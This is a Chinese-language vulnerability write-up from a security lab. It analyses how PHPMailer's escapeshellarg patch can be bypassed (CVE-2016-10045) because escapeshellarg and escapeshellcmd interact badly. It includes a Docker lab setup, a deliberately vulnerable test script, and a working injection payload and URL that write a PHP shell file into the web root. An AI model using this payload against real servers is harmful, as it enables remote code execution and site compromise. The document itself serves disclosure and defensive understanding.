Author: Hcamael, p0wd3r (知道創宇404安全實驗室)

Date: 2016-12-28

0x00 簡介

前兩天爆出了 PHPMailer 小于 5.2.18 版本的 RCE 漏洞,官方在補丁中使用了escapeshellarg來防止注入參數,但有趣的是經過測試我們發現該補丁是可以被繞過的,并且攻擊面可以延伸到更大而不僅僅是局限于這個應用。

0x01 漏洞復現

環境搭建

Dockerfile:

FROM php:5.6-apache

RUN apt-get update && apt-get install -y sendmail

RUN echo 'sendmail_path = "/usr/sbin/sendmail -t -i"' > /usr/local/etc/php/php.ini

提前下載好源碼,在源碼根目錄下添加測試文件 1.php:

<?php
require('PHPMailerAutoload.php');

$mail = new PHPMailer;
$mail->setFrom($_GET['x'], 'Vuln Server');
$mail->Subject = 'subject';
$mail->addAddress('c@d.com', 'attacker');
$mail->msgHTML('test');
$mail->AltBody = 'Body';

$mail->send();
?>

shell:

docker build -t bypass-test .
docker run --rm --hostname xxx.xxx --name vuln-phpmail -p 127.0.0.1:8080:80  -v /tmp/PHPMailer-5.2.19:/var/www/html bypass-test

復現

PHPMailer 對之前的漏洞做了如下補丁:

Alt text

即對輸入使用escapeshellarg處理,最新版本中使用之前的 payload 攻擊是失敗的,例如:a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com,但是經小伙伴的測試,在最新版中可以使用這個 payload:a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com,結果如下:

訪問http://127.0.0.1:8080/1.php?x=a%27(%20-OQueueDirectory=/tmp%20-X/var/www/html/x.php%20)@a.com,shell 成寫入:

Alt text

根據調試的結果,我們可以看到參數確實被escapeshellarg處理過了:

Alt text

那么為什么用了'就會在這里繞過escapeshellarg的限制呢?

我們看一下mail的代碼:https://github.com/php/php-src/blob/PHP-5.6.29/ext/standard/mail.c ,其中第167-177行如下:

if (force_extra_parameters) {
    extra_cmd = php_escape_shell_cmd(force_extra_parameters);
} else if (extra_cmd) {
    extra_cmd = php_escape_shell_cmd(extra_cmd);
}

if (php_mail(to_r, subject_r, message, headers_trimmed, extra_cmd TSRMLS_CC)) {
    RETVAL_TRUE;
} else {
    RETVAL_FALSE;
}

可見參數在mail中又經過了escapeshellcmd的處理,將整個過程進行簡化:

Alt text

可見兩個函數配合使用就會導致多個參數的注入。

我們詳細分析一下:

  1. 傳入的參數是:172.17.0.2' -v -d a=1
  2. 經過escapeshellarg處理后變成了'172.17.0.2'\'' -v -d a=1',即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連接的作用。
  3. 經過escapeshellcmd處理后變成'172.17.0.2'\\'' -v -d a=1\',這是因為escapeshellcmd\以及最后那個不配對兒的引號進行了轉義:http://php.net/manual/zh/function.escapeshellcmd.php
  4. 最后執行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中間的\\被解釋為\而不再是轉義字符,所以后面的'沒有被轉義,與再后面的'配對兒成了一個空白連接符。所以可以簡化為curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\發起請求,POST 數據為a=1'

回到mail中,我們的 payload 最終在執行時變成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(-OQueueDirectory=/tmp-X/var/www/html/test.php)@a.com',最終的參數就是這樣被注入的。

誰的鍋?

仔細想想其實這可以算是escapeshellargescapeshellcmd的設計問題,因為先轉義參數再轉義命令是很正常的想法,但是它們在配合時并沒有考慮到單引號帶來的隱患。

在 PHPMailer 的這次補丁中,作者使用escapeshellarg意在防止參數注入,但是卻意外的為新漏洞打了助攻,想想也是很有趣的 xD。

攻擊面

如果應用使用escapeshellarg -> escapeshellcmd這樣的流程來處理輸入是存在隱患的,mail就是個很好的例子,因為它函數內部使用了escapeshellcmd,如果開發人員僅用escapeshellarg來處理輸入再傳給mail那這層防御幾乎是可以忽略的。

如果可以注入參數,那利用就是各種各樣的了,例如 PHPMailer 和 RoundCube 中的mail和 Naigos Core 中的 curl都是很好的參數注入的例子。

有一點需要注意的是,由于注入的命令中會帶有中間的\和最后的',有可能會影響到命令的執行結果,還要結合具體情況再做分析。

如果上述有哪些地方有問題,歡迎大家指正 :)

0x02 時間線

  • 2016/12/28 知道創宇404安全實驗室發現 Bypass 并整理文檔
  • 2016/12/28 發現 Dawid Golunski 也發現了Bypass 并申請了 CVE,對應編號 CVE-2016-10045
  • 2016/12/28 截止目前官方并未發布更新

0x03 參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/164/